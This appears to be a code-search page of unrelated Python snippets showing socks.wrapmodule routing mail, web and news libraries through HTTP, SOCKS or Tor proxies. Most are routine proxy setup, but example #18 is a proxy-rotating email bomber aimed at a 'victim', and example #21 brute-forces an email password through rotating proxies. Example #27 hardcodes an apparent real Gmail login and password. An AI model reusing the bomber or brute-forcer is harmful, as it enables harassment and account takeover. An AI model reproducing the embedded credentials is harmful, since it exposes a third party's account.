Пример #1
0
 def __init__(self, server, sender, password, http_proxy_addr,
              http_proxy_port):
     socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, http_proxy_addr,
                           int(http_proxy_port))
     socks.wrapmodule(smtplib)
     self.server = server
     self.sender = sender
     self.password = password
     try:
         self.smtpObj = smtplib.SMTP(server, 587)
         self.smtpObj.ehlo()
         self.smtpObj.starttls()
         self.smtpObj.login(self.sender, self.password)
     except smtplib.SMTPException:
         logger.error("Unable to login to email server " + self.server +
                      " with [username, password] = [" + self.sender + "," +
                      self.password + "]" + ":" + traceback.format_exc())
         raise Exception("Unable to login to email server " + self.server +
                         " with [username, password] = [" + self.sender +
                         "," + self.password + "]" + ":" +
                         traceback.format_exc())
     except Exception:
         logger.error("Unable to connect to server : " + server + ":" +
                      traceback.format_exc())
         raise Exception("Unable to connect to server : " + server + ":" +
                         traceback.format_exc())
Пример #2
0
    def __init__(self,
                 nntp_host,
                 nntp_port,
                 nntp_user=None,
                 nntp_password=None,
                 proxy_host="127.0.0.1", # localhost
                 proxy_port=9050):       # default Tor SOCKS port

        # use socks to wrap the smtplib module
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4,
                              proxy_host,
                              proxy_port)
        socks.wrapmodule(nntplib)

        # finally init TorNNTP as nntplib.NNTP with the specified
        # NNTP info
        if nntp_user and nntp_password:
            return nntplib.NNTP.__init__(self,
                                         nntp_host,
                                         user=nntp_user,
                                         password=nntp_password,
                                         port=nntp_port)
        else:
            return nntplib.NNTP.__init__(self,
                                         nntp_host,
                                         port=nntp_port)
Пример #3
0
  def dispatch(self,noise=None):
      charset.add_charset('utf-8', charset.SHORTEST)
      if self.args.encrypted and self.args.encrypted.lower() not in ['false','no','0']:
	msg = MIMEText(fake_pgp_msg(), _charset='utf-8')
      else:
        msg = MIMEText(noise if noise else self.args.body, _charset='utf-8')
      msg['Subject'] = self.args.subject
      msg['From'] = self.args.sender
      if ',' in self.args.to:
	random.seed()
	msg['To'] = random.choice(self.args.to.split(', '))
      else:
        msg['To'] = self.args.to
    
      if self.args.proxy:
          # Let's use a Tor SOCKS proxy, if available. Obviously, start Tor before running this program
          socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, 'localhost', self.args.proxy)
          s = socks.socksocket()
          s.connect(('example.com', 80))
          s.close()
          socks.wrapmodule(smtplib)
    
      # Use STARTTLS for added security
      smtpserver = smtplib.SMTP(self.args.server)
      smtpserver.starttls()
      smtpserver.set_debuglevel(True)
      smtpserver.login(self.args.sender,self.args.passwd)
      try:
        smtpserver.sendmail(self.args.sender, [self.args.to], msg.as_string())
      finally:
        smtpserver.close()
  
      return "Successfully sent mail"
Пример #4
0
def simulateIMAPsession(username, password, imapHost, imapDomainName):
    try:
        # Tunnel through socksipy to Tor, wrapping imaplib through it
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT)
        socks.socket.setdefaulttimeout(30)
        socks.wrapmodule(imaplib)
        # So let's log in and let the fun begin
        mail = imaplib.IMAP4(imapHost, 143)
        mail.login(username+'@'+imapDomainName, password)
        print "namespace", mail.namespace()
        print "lsub", mail.lsub()
        print "list inbopx", mail.list("", "INBOX")
        selectanswer = mail.select("INBOX")
        print "select inbox",selectanswer
        responsecode, data = selectanswer
        lastmail = data[0]
        fetchflag = lastmail + ":*"
        print "fetch uid" , mail.fetch(fetchflag,"(FLAGS)")
        # Bye, IMAP server
        mail.logout()
        socket.socket = socks._orgsocket
    except Exception:
        raise
    finally:
        try:
            mail.logout()
            mail.shutdown()
        except Exception:
            pass
        finally:
            socket.socket = socks._orgsocket
Пример #5
0
    def send(self):

        proxy_url = self.config.get('proxy', 'url')
        proxy_port = int(self.config.get('proxy',
                                         'port'))  # 取出来的值是字符串,记得转成整数类型,不然会报错

        if self.can_send():  #能发信和文件有变动,才会执行发信的操作
            if proxy_url != '' and proxy_port != '':
                # 判断如果代理的地址和端口不为空,即有填写代理服务器的信息,需要使用代理,如果两项都为空即是不需要使用代理服务器
                # 需要使用代理访问网络才可以发送邮件。
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, proxy_url,
                                      proxy_port)
                socks.wrapmodule(smtplib)

            try:
                smtpObj = smtplib.SMTP(self.mail_host, 25)
                # 登录邮箱
                smtpObj.login(self.mail_user, self.mail_pass)
                smtpObj.sendmail(self.sender,
                                 self.to_receivers + self.cc_receivers,
                                 self.message.as_string())
                smtpObj.quit()  # 关闭连接
                logging.info(
                    time.strftime('%Y%m%d-%H:%M:%S', time.localtime(
                        time.time())) + "  -->> 邮件发送成功")
            except smtplib.SMTPException as error:
                logging.error(
                    time.strftime('%Y%m%d-%H:%M:%S', time.localtime(
                        time.time())) + " -->> Error: 无法发送邮件" + str(error))

        else:
            logging.info(
                time.strftime('%Y%m%d-%H:%M:%S', time.localtime(time.time())) +
                "  -->> 时间或次数未达到发信条件,不发信,退出系统")
            sys.exit(0)
def mail(to, subject, text, attach):

    # socks.setdefaultproxy(TYPE, ADDR, PORT)
    # socks.setdefaultproxy(socks.SOCKS5, 'http://191.252.100.170', 80)
    # socks.wrapmodule(smtplib)

    socks.setdefaultproxy(socks.SOCKS5, '201.148.127.58', 3128)
    socks.wrapmodule(smtplib)

    msg = MIMEMultipart()

    msg['From'] = gmail_user
    msg['To'] = to
    msg['Subject'] = subject

    msg.attach(MIMEText(text))

    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attach, 'rb').read())
    Encoders.encode_base64(part)
    part.add_header('Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(attach))
    msg.attach(part)

    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(gmail_user, gmail_pwd)
    mailServer.sendmail(gmail_user, to, msg.as_string())
    # Should be mailServer.quit(), but that crashes...
    mailServer.close()
Пример #7
0
    def __init__(self):
        self.host = SMTP_HOST
        self.port = SMTP_PORT
        self.ssl = True if (SMTP_SSL is not None and int(SMTP_SSL) == 1) else False
        self.tls = True if (SMTP_TLS is not None and int(SMTP_TLS) == 1) else False

        if PROXIMO_URL:
            # ex: http://proxy:[email protected]
            # need to parse manually because urllib doesn't extract the username/password correctly
            proxy_parts = re.match('(\w+)://(\w+):([\w-]+)@(.+)', PROXIMO_URL).groups()
            proxy_username = proxy_parts[1]
            proxy_password = proxy_parts[2]
            proxy_host = proxy_parts[3]
            proxy_port = 1080
            socks.setdefaultproxy(
                socks.PROXY_TYPE_SOCKS5,
                proxy_host,
                proxy_port,
                username=proxy_username,
                password=proxy_password
            )
            socks.wrapmodule(smtplib)

        template_path = os.path.join(os.path.dirname(__file__), '../templates/email/')

        self.jinja_env = Environment(loader=FileSystemLoader(template_path), extensions=['jinja2.ext.loopcontrols'])
Пример #8
0
    def send_http(self, messages, channel='default'):
        import urllib2, json, time, cookielib
        
        if self.proxy:
            import socks
            socks.setdefaultproxy(proxy_modes.index(self.proxy["mode"]) + 1, self.proxy["host"], int(self.proxy["port"]) )
            socks.wrapmodule(urllib2)

        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        urllib2.install_opener(opener)

        t1 = time.time()

        data = []
        for m in messages:
            method, params = m
            if type(params) != type([]): params = [params]
            data.append( { 'method':method, 'id':self.message_id, 'params':params } )
            self.unanswered_requests[self.message_id] = method, params, channel
            self.message_id += 1

        if data:
            data_json = json.dumps(data)
        else:
            # poll with GET
            data_json = None 

            
        headers = {'content-type': 'application/json'}
        if self.session_id:
            headers['cookie'] = 'SESSION=%s'%self.session_id

        req = urllib2.Request(self.connection_msg, data_json, headers)
        response_stream = urllib2.urlopen(req)

        for index, cookie in enumerate(cj):
            if cookie.name=='SESSION':
                self.session_id = cookie.value

        response = response_stream.read()
        self.bytes_received += len(response)
        if response: 
            response = json.loads( response )
            if type(response) is not type([]):
                self.queue_json_response(response)
            else:
                for item in response:
                    self.queue_json_response(item)

        if response: 
            self.poll_interval = 1
        else:
            if self.poll_interval < 15: 
                self.poll_interval += 1
        #print self.poll_interval, response

        self.rtime = time.time() - t1
        self.is_connected = True
Пример #9
0
 def decorator(*args):
     print instance.config.main.proxyaddress
     host, port = instance.config.main.proxyaddress.split(":")
     socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, host, int(port))
     # Wrap the modules into socks
     for module in self.modules:
         socks.wrapmodule(module)
     return self.f(instance, *args)
Пример #10
0
    def getEpisodes(self, combinedShowID, proxy):
        
        # A bit hacky ...
        # Split into "title" style id and URL
        splitString = re.findall('(.*)__(.*)',combinedShowID)
        titleShowID = str(splitString[0][0])
        showId = str(splitString[0][1]).split('=')[-1]
               
        # Check if proxy enabled & set
        if proxy['proxy'] == True and proxy['proxy_address'] <> "" and proxy['proxy_port'] <> 0:
            # Set the proxy information
            if proxy['proxy_type'] == 'HTTP':
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, proxy['proxy_address'], proxy['proxy_port'])
            elif proxy['proxy_type'] == 'SOCKS4':
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, proxy['proxy_address'], proxy['proxy_port'])
            elif proxy['proxy_type'] == 'SOCKS5':
                socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxy['proxy_address'], proxy['proxy_port'])

            # Wrap urllib2 module
            socks.wrapmodule(urllib2)
        
        page = urllib2.urlopen(PROGRAMME_URL + titleShowID)
        soup = BeautifulStoneSoup(page, selfClosingTags=['link','category','media:player','media:thumbnail'])
        page.close()
        
        items = soup.findAll('entry')
        if not items:
            # That works for some things, but not this show ... 
            # OK, that didn't work. Try using the ID to search for episodes
            urlShowID = EPISODE%(showId)            
            page = urllib2.urlopen(urlShowID)
            soup = BeautifulStoneSoup(page, selfClosingTags=['link','category','media:player','media:thumbnail'])
            page.close()            
            items = soup.findAll('entry')
            
        for item in items:
            # This finds the entire element ... get the bit we want
            linkElement = item.find(attrs={'type' : 'application/atom+xml'})
            mymatch = re.findall('href="(.*)"' , str(linkElement)) 
            title = self.getStringFor(item, 'title')
            published = self.getStringFor(item, 'published')
            desc =  self.getStringFor(item, 'media:description')
            thumb =  self.getStringFor(item, 'media:thumbnail', 'url', LOGOICON)
            # Duration doesn't seem to make any difference ... 
            duration = str(int(self.getStringFor(item, 'rte:duration','ms'))/1000/60)
            
            yield { 'PlotOutline'  : title,
                    'Duration'     : duration,
                    'Studio'       : CHANNEL,
                    'Year'         : int("%s" % (published[ : 4 ])),
                    'Date'         : "%s-%s-%s" % ( published[ 8 : 10], published[ 5 : 7 ], published[ : 4 ]),
                    'Thumb'        : thumb,
                    'Channel'      : CHANNEL,
                    'url'          : mymatch[0],
                    'Title'        : title,
                    'mode'         : MenuConstants.MODE_PLAYVIDEO,
                    'Plot'         : desc
                    }
Пример #11
0
def SetProxy( proxytype, host, port, username = None, password = None ):
    
    if proxytype == 'http': proxytype = socks.PROXY_TYPE_HTTP
    elif proxytype == 'socks4': proxytype = socks.PROXY_TYPE_SOCKS4
    elif proxytype == 'socks5': proxytype = socks.PROXY_TYPE_SOCKS5
    
    socks.setdefaultproxy( proxy_type = proxytype, addr = host, port = port, username = username, password = password )
    
    socks.wrapmodule( httplib )
Пример #12
0
    def connect(self):
        if CFG['tor']:
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '0.0.0.0', 9000,
                                  True)
            socks.wrapmodule(smtplib)

        self.smtp = smtplib.SMTP(CFG['host'], CFG['port'])
        self.smtp.starttls()
        self.smtp.login(CFG['user'], CFG['pwd'])
Пример #13
0
def SetProxy( proxytype, host, port, username = None, password = None ):
    
    if proxytype == 'http': proxytype = socks.PROXY_TYPE_HTTP
    elif proxytype == 'socks4': proxytype = socks.PROXY_TYPE_SOCKS4
    elif proxytype == 'socks5': proxytype = socks.PROXY_TYPE_SOCKS5
    
    socks.setdefaultproxy( proxy_type = proxytype, addr = host, port = port, username = username, password = password )
    
    socks.wrapmodule( httplib )
Пример #14
0
def finder(unkdom):
    socket.setdefaulttimeout(tout)
    defcontext = ssl.create_default_context()
    if usesocks == 1:
        rawproxy = str(randomprox())
        fproxy = str(rawproxy.split(":")[0])
        fproxyport = int(rawproxy.split(":")[1])
        socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, fproxy, fproxyport)
        socks.wrapmodule(smtplib)
    else:
        pass
    z = str('failed')
    print(Fore.LIGHTYELLOW_EX + 'Looking up SMTP-host for: ' + str(unkdom) +
          ' ...\n')
    try:
        for x in subh:
            y = str(str(x) + str(unkdom))
            print(Fore.LIGHTMAGENTA_EX + 'Trying to connect to: ' + str(y) +
                  ' ...\n')
            try:
                findsmtp = smtplib.SMTP_SSL(str(y), context=defcontext)
                print(Fore.LIGHTGREEN_EX + Style.BRIGHT +
                      'SSL-Connection established, HOST is: ' + str(y) +
                      ' ...\n')
                z = str(y)
                break
            except:
                try:
                    findsmtp = smtplib.SMTP(str(y))
                    print(Fore.LIGHTGREEN_EX + Style.BRIGHT +
                          'Connection established, HOST is: ' + str(y) +
                          ' ...\n')
                    z = str(y)
                    break
                except:
                    print(Fore.LIGHTRED_EX + Style.BRIGHT +
                          'Connection failed for guessed HOST: ' + str(y) +
                          ' ...\n')
                    try:
                        findsmtp.quit()
                    except:
                        pass
                    continue
        try:
            findsmtp.quit()
        except:
            pass
        return z
    except BaseException:
        print(Fore.LIGHTRED_EX + Style.BRIGHT +
              '(!) Cannot find working SMTP host (!) for: ' + str(unkdom) +
              ' ...\n')
        return z
Пример #15
0
	def socks_activate(self,socks_a):
		try:
			socks_raw = socks_a.strip().split(',')
			socks_active = {'ip':socks_raw[0],'port':int(socks_raw[1]),'hostname':socket.gethostbyaddr(socks_raw[0]),'username':socks_raw[3],'password':socks_raw[4]}
			socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, addr=socks_active['ip'], port=socks_active['port'],username=socks_active['username'],password=socks_active['password'])
			socks.wrapmodule(smtplib)
			
			result = (socks_active['hostname'][0],socks_active['ip'])
			# print type(result)
			return result
		except:
			return False
Пример #16
0
	def socks_activate(self,socks_a):
		try:
			socks_raw = socks_a.strip().split(',')
			socks_active = {'ip':socks_raw[0],'port':int(socks_raw[1]),'hostname':socket.gethostbyaddr(socks_raw[0]),'username':socks_raw[3],'password':socks_raw[4]}
			socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, addr=socks_active['ip'], port=socks_active['port'],username=socks_active['username'],password=socks_active['password'])
			socks.wrapmodule(smtplib)
			
			result = (socks_active['hostname'][0],socks_active['ip'])
			# print type(result)
			return result
		except:
			return False
def get_dataset_fashion_mnist():
    import httplib2
    # detect presense of proxy and use env varibles if they exist
    pi = httplib2.proxy_info_from_environment()
    if pi:
        import socks
        socks.setdefaultproxy(pi.proxy_type, pi.proxy_host, pi.proxy_port)
        socks.wrapmodule(httplib2)

        # now all calls through httplib2 should use the proxy settings
    httplib2.Http()
    return tf.keras.datasets.fashion_mnist.load_data()
Пример #18
0
async def spam(msg_obj, prox_indx=0, error_count=0, send_count=0):

    if (error_count <= len(creds) * limiter):  # kinda timeout
        try:  #  check connection to proxy scraper
            print("Tunneling through proxy\n")
            if len(proxies) > 0:
                tunnel_route = proxies[0]
            else:
                await get_proxy()
                await spam(msg_obj)
            socks.set_default_proxy(socks.SOCKS4, tunnel_route[0],
                                    tunnel_route[1])
            socks.wrapmodule(smtplib)  # tunnel email server through proxy

        except Exception as e:  # not included in error count
            print(f'Connection Failed :: {e}')
            print("Retrying socket connection\n")
            proxies.pop(0)
            await spam(msg_obj)

        print("Choosing random credentials\n")
        login = random.choice(creds)

        msg_obj['From'] = login[0]

        print("Connecting to SMTP server\n")
        try:
            server = smtplib.SMTP('__SMTP_CLIENT_URL_', 587)
            server.ehlo()  # host : local host o email server
            server.starttls()
            server.login(login[0], login[1])
            server.set_debuglevel(1)

            print("Sending msg...\n")
            server.sendmail(login[0], to, msg_obj.as_string())

            if send_count % 3 == 0:  # sleep after every 3 mails sent
                time.sleep(60)

            print(f"\nMessage sent to: {', '.join(to)}\n")

            await spam(msg_obj,
                       error_count=error_count + 1,
                       send_count=send_count + 1)

        except Exception as e:
            print(f"Trying new host :: {e}\n")
            await get_proxy()
            await spam(msg_obj, prox_indx + 1, error_count + 1)
    else:
        print("Ending spammer, may the victim rest in peace >:)")
Пример #19
0
    def __init__(
            self,
            smtp_host="",
            smtp_port=0,
            proxy_host="127.0.0.1",  # localhost
            proxy_port=9050):  # default Tor SOCKS port

        # use socks to wrap the smtplib module
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, proxy_host, proxy_port)
        socks.wrapmodule(smtplib)

        # finally init TorSMTP as smtplib.SMTP_SSL with the specified
        # SMTP info
        smtplib.SMTP_SSL.__init__(self, smtp_host, smtp_port)
Пример #20
0
def get_authenticated_service():
    """ Create youtube oauth2 connection """
    # make credentials with refresh_token auth
    credentials = AccessTokenCredentials(access_token=get_auth_code(), user_agent='insta-python/1.0')
    # create httplib proxy connection
    if settings.USE_PROXY:
        import socks
        # set socks proxy to ssh tunnel
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, 'localhost', 1080)
        # wrap httplib via proxy
        socks.wrapmodule(httplib2)
    # create connection to youtube api
    return build(
        settings.YOUTUBE_API_SERVICE_NAME, settings.YOUTUBE_API_VERSION, http=credentials.authorize(httplib2.Http()))
Пример #21
0
    def bruter():

        files = open(wordlist, "r")
        lines = files.readlines()

        r = []

        print bcolors.OKGREEN + "[+] Loading %s proxys ..." % (
            len(proxys)) + bcolors.ENDC
        print bcolors.OKGREEN + "[+] Loading %s passwords ..." % (
            len(lines)) + bcolors.ENDC

        for count, line in enumerate(tqdm.tqdm(lines)):

            k = map(str.strip, lines)
            e = k[count]

            Map = random.choice(proxys)
            separator = Map.find(":")
            ipaddress = Map[:separator]
            portadress = Map[separator + 1:]

            host_proxy = str(ipaddress)
            port_proxy = int(portadress)

            print("Try with Proxy address %s:%s" % (host_proxy, port_proxy))

            time.sleep(0.1)

            try:

                #socks.setdefaultproxy(TYPE, ADDR, PORT)
                socks.setdefaultproxy(socks.SOCKS5, host_proxy, port_proxy)
                socks.wrapmodule(smtplib)

                server = smtplib.SMTP(host, port)
                server.ehlo()
                # server.set_debuglevel(1)  // Debug 1
                server.starttls()
                authorized = server.login(email, e)

                if authorized:
                    print "[+] Password found less secure applications enabled."
                else:
                    print "[+] Password not found "

            except smtplib.SMTPResponseException, SMTPResponse:
                if len(SMTPResponse[1]) > 510 and len(SMTPResponse[1]) \
                    < 516 and SMTPResponse[0] == 534:
                    r.append((email, e))
    def send_email(self,
                   to_addrs,
                   email_body,
                   subject="",
                   bcc=None,
                   attachments=[]):

        print("Sending email...")
        msg = MIMEMultipart()
        msg['Subject'] = subject
        msg['From'] = self.sender_email
        msg['To'] = 'whomsoever-it-may-concern'

        body = MIMEMultipart('alternative')
        body.attach(MIMEText(email_body, 'html'))
        msg.attach(body)

        for attachment in attachments:
            attachFile = MIMEBase('application',
                                  attachment['filename'].split(".")[-1])
            attachFile.set_payload(attachment['data'])
            encoders.encode_base64(attachFile)
            attachFile.add_header('Content-Disposition',
                                  'attachment',
                                  filename=attachment['filename'])
            msg.attach(attachFile)

        if (self.proxy_url and self.proxy_port):
            socks.setdefaultproxy(socks.HTTP, proxy_url, proxy_port)
            socks.wrapmodule(smtplib)

        server = smtplib.SMTP(self.outgoing_server, self.outgoing_port)
        server.ehlo()
        server.starttls()
        server.login(self.sender_email, self.sender_password)
        if (bcc != None and len(bcc) > 0 and '' not in bcc):
            server.sendmail(self.sender_email, bcc, msg.as_string())

        #send mail to owner
        if (bcc != None and len(bcc) > 0 and '' not in bcc):
            msg['To'] = ','.join(bcc)
        server.sendmail(self.sender_email, to_addrs, msg.as_string())

        server.quit()
        print("Email sent successfully! Hurray!\n\n")

        if (self.proxy_url and self.proxy_port):
            socket.socket = self._socket
Пример #23
0
 def __init__(self):        
     
     self.passwd = student_passwd
     
     for self.proxy,self.port in [('',0)] + proxy_candidates:
         try:
             if self.proxy:
                 socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, self.proxy, self.port)
                 socks.wrapmodule(smtplib)
             server = smtplib.SMTP(smtp_server , 587)
             server.starttls()
             break
         except:
             pass            
     else:
         self.proxy = self.port = None
Пример #24
0
  def dispatch(self,noise=None):
    if noise and len(noise) > 140:
      return
    if self.args.proxy:
      # Let's use a Tor SOCKS proxy, if available. Obviously, start Tor before running this program
      socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, 'localhost', self.args.proxy)
      s = socks.socksocket()
      s.connect(('example.com', 80))
      s.close()
      socks.wrapmodule(twitter)
    t = Twitter(
		auth=OAuth(self.oauth_token, self.oauth_secret,
			   self.args.consumer_key, self.args.consumer_secret)
    		)
    t.statuses.update(status = noise if noise else self.args.status)
    return "Successfully tweeted"
Пример #25
0
    def get(self, parts, data=None):
        """
        General API call (do not use it directly!)
        """

        #
        # Constructing request path
        #

        callurl = self.url + "/".join(urllib2.quote(p) for p in parts)

        #
        # Constructing data payload
        #

        sdata = None
        if data != None:
            sdata = json.dumps(data)

        #
        # Do the query and respond
        #

        self.dprint(callurl, "with payload", sdata)

        # maybe change it here
        if self.use_proxy:
            socks.wrapmodule(urllib2)
        resp = urllib2.urlopen(callurl, sdata)

        has_getcode = "getcode" in dir(resp)
        if self.debug:
            if has_getcode:
                self.dprint("Response", resp.getcode(), " ".join(str(resp.info()).split("\r\n")))
            else:
                self.dprint("Response", " ".join(str(resp.info()).split("\r\n")))

        if not has_getcode or resp.getcode() == 200:
            rdata = resp.read()
            if re.search("json", resp.info().gettype()):
                try:
                    return json.loads(rdata)
                except TypeError, e:
                    self.dprint(e)
                    return rdata
            else:
                return rdata
Пример #26
0
def send_email(smtp_host='smtp.gmail.com',
               smtp_port=465,
               proxy_host=None,
               proxy_port=None,
               From=None,
               From_password=None,
               To=None,
               CC=None,
               message=""):
    if proxy_host:
        socks.setdefaultproxy(socks.HTTP, proxy_host, proxy_port)
        socks.wrapmodule(smtplib)
    #server = smtplib.SMTP(host=smtp_host, port=smtp_port)

    context = smtplib.ssl.create_default_context()
    with smtplib.SMTP_SSL(host=smtp_host, port=smtp_port,
                          context=context) as server:
        try:
            if From_password:
                server.login(From, From_password)
        except Exception as e:
            print(e)
            return

        msg = MIMEMultipart('alternative')
        # setup the values of the message
        msg['From'] = From

        if isinstance(To, list):
            To = ",".join(To)

        msg['To'] = To

        if CC:
            msg['CC'] = CC

        msg['Subject'] = "This is a TEST Email"

        # add in the message body
        msg.attach(MIMEText(message, 'html'))

        try:
            server.send_message(msg)
            return 0
        except Exception as e:
            print(e)
            return
Пример #27
0
def old_sendmail(me, you, list_items):
    # Create message container - the correct MIME type is multipart/alternative.
    msg = MIMEMultipart('related')
    msg['Subject'] = "Finded bicycles in AVITO"
    msg['From'] = me
    msg['To'] = you
    msg.preamble = 'This is a multi-part message in MIME format.'

    msgAlternative = MIMEMultipart('alternative')
    msg.attach(msgAlternative)

    msgText = MIMEText('This is the alternative plain text message.')
    msgAlternative.attach(msgText)

    #msg.set_content('This is a plain text body.')
    html = """<b>Finded bycles in AVITO <br><table>"""
    for item in list_items:
        image_cid = make_msgid(domain='avito.ru')

        outbuf = BytesIO()
        item['photo'].save(outbuf, format="PNG")
        my_mime_image = MIMEImage(outbuf.getvalue())
        my_mime_image.add_header('Content-ID', image_cid)
        my_mime_image.add_header('Content-Disposition', 'inline', filename=image_cid)
        outbuf.close()
        msg.attach(my_mime_image)
        html += "<tr><td>{}</td><td>{}</td><td>{}</td><td><img src='cid:{}'></td></tr>".format(item['title'], item['price'], item['metro'], image_cid)
    html += "</table>"
    msgHtml = MIMEText(html, 'html')
    msgAlternative.attach(msgHtml)
    #msg.attach(msgHtml)
    #msg.add_alternative(html, subtype='html')

    import socks
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, 'zabbix.online-acq.local', 8888)
    socks.wrapmodule(smtplib)

    # Send the email (this example assumes SMTP authentication is required)
    mail = smtplib.SMTP('smtp.gmail.com', 587)

    mail.ehlo()

    mail.starttls()

    mail.login('dimbler', 'WMN3SS75')
    mail.sendmail(me, you, msg.as_string())
    mail.quit()
def anon_identity():
    """This function is a example how to use scrape_identity() anonymously
       through TOR. Used like that, you don't have to worry that your generated
       identity is matched to your IP address and therefore to your real identity.
       
    """
    
    # Set up a socks socket. You might want to fire up your local TOR PROXY, before
    # using this function.
    # Just download TOR here https://www.torproject.org/ and then start tor.
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,'127.0.0.1', 9050)
    socks.wrapmodule(urllib.request)
    
    id = scrape_identity()
    print('[+] Generated a random and anonymous identity:')
    for e in id:
        print('\t{0:.<20}{1}'.format(e[0], e[1]))
Пример #29
0
    def SvcDoRun(self):
        socks.setdefaultproxy(socks.SOCKS5, '127.0.0.1', 1080)
        socks.wrapmodule(smtplib)

        rc = None
        while rc != win32event.WAIT_OBJECT_0:
            os.system(
                "C:/Windows/System32/cmd.exe /c C:/Users/Anastasiya.Mittseva/PycharmProjects/ServiceParserSites/start_crawlers.bat"
            )
            hrefs = []
            hrefs.append(Parser_frp74ru.main())
            hrefs.append(Parser_gispgovru.main())
            hrefs.append(Parser_minpromtorg.main())
            hrefs.append(Parser_p218ru.main())

            names_sites = [
                'Сайт frp74.ru', 'Сайт gisp.gov.ru', 'Сайт minpromtorg.gov.ru',
                'Сайт p218.ru'
            ]
            body = ''
            if (hrefs):
                for i in range(len(hrefs)):
                    if (hrefs[i]):
                        body += '\n' + '\n' + names_sites[i] + '\n'
                        for j in range(len(hrefs[i])):
                            url = hrefs[i][j].get('url')
                            name = hrefs[i][j].get('name')
                            date = hrefs[i][j].get('date')
                            body += date + ' ' + name + ' ' + url + '\n'

                login = '******'
                password = '******'
                recipients_emails = '*****@*****.**'

                msg = MIMEText(body, 'plain', 'utf-8')
                msg['Subject'] = Header('Конкурсы', 'utf-8')
                msg['From'] = login
                msg['To'] = recipients_emails

                server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
                server.login(login, password)
                server.sendmail(msg['From'], recipients_emails,
                                msg.as_string())
                server.close()

            rc = win32event.WaitForSingleObject(self.hWaitStop, 1000)
 def __init__(self, server, sender, password, http_proxy_addr, http_proxy_port):
   socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, http_proxy_addr, int(http_proxy_port))
   socks.wrapmodule(smtplib)
   self.server = server
   self.sender = sender
   self.password = password 
   try:
     self.smtpObj = smtplib.SMTP(server, 587)
     self.smtpObj.ehlo()
     self.smtpObj.starttls()
     self.smtpObj.login(self.sender, self.password)
   except smtplib.SMTPException:
     logger.error("Unable to login to email server " + self.server + " with [username, password] = [" + self.sender + "," + self.password + "]" + ":" + traceback.format_exc())
     raise Exception("Unable to login to email server " + self.server + " with [username, password] = [" + self.sender + "," + self.password + "]" + ":" + traceback.format_exc()) 
   except Exception:
     logger.error("Unable to connect to server : " + server + ":" + traceback.format_exc())
     raise Exception("Unable to connect to server : " + server + ":" + traceback.format_exc())
def anon_identity():
    """This function is a example how to use scrape_identity() anonymously
       through TOR. Used like that, you don't have to worry that your generated
       identity is matched to your IP address and therefore to your real identity.
       
    """

    # Set up a socks socket. You might want to fire up your local TOR PROXY, before
    # using this function.
    # Just download TOR here https://www.torproject.org/ and then start tor.
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
    socks.wrapmodule(urllib.request)

    id = scrape_identity()
    print('[+] Generated a random and anonymous identity:')
    for e in id:
        print('\t{0:.<20}{1}'.format(e[0], e[1]))
Пример #32
0
def send_email(sender, password, receiver, smtp_host, smtp_port, content):
    while True:
        try:
            proxy_handler = ProxyHandler()
            if not os.path.isfile('proxies.json'):
                proxy_handler.create_proxies()
            proxy_host, proxy_port = proxy_handler.get_proxy(
            )  # Returns free proxy server IPs
            print('TRYING WITH PROXY %s %s' % (proxy_host, proxy_port))
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, proxy_host,
                                  proxy_port)
            socks.wrapmodule(smtplib)
            server = smtplib.SMTP(host=smtp_host, port=smtp_port)
            server.login(sender, password)
            return server.sendmail(sender, receiver, content)
        except:
            continue
Пример #33
0
def start():
   global reactor
   global loop

   if ircconf['socks']['enabled']:
      socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, ircconf['socks']['host'], ircconf['socks']['port'])
      socks.wrapmodule(irc.client)

   reactor = irc.client.Reactor()
   c = reactor.server().connect( ircconf['server'],
                                 ircconf['port'],
                                 ircconf['nick'],
                                 password=ircconf['passwd'],
                                 connect_factory=irc.connection.Factory())

   reactor.add_global_handler("pubmsg", on_pubmsg)
   loop = renpy.display.layout.DynamicDisplayable(event_loop, reactor)
   renpy.show("loop", what=loop)
Пример #34
0
 def server(self):
     if self.proxy:
         socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, self.proxy, self.port)
         socks.wrapmodule(smtplib)
     server = smtplib.SMTP(smtp_server , 587)
     server.starttls()
     
     if not self.passwd:
         self.passwd = getpass('Enter your password for ' + student_email + ' : ')
             
     try:
         server.login(student_email, self.passwd)
         return server
     except smtplib.socket.gaierror:
         print('Could not connect to mail server, check your internet connection')
     except smtplib.SMTPAuthenticationError:
         print('Could not connect to mail server: wrong user/password')
     return None
Пример #35
0
 def Enable(self):
     self.urllib2_socket = None
     self.httplib_socket = None
     
     log = sys.modules[u"__main__"].log
     
     try:
         log(u"Using proxy: type %i rdns: %i server: %s port: %s user: %s pass: %s" % (self.type, self.dns, self.server, self.port, u"***", u"***") )
 
         self.urllib2_socket = urllib2.socket.socket 
         self.httplib_socket = httplib.socket.socket
          
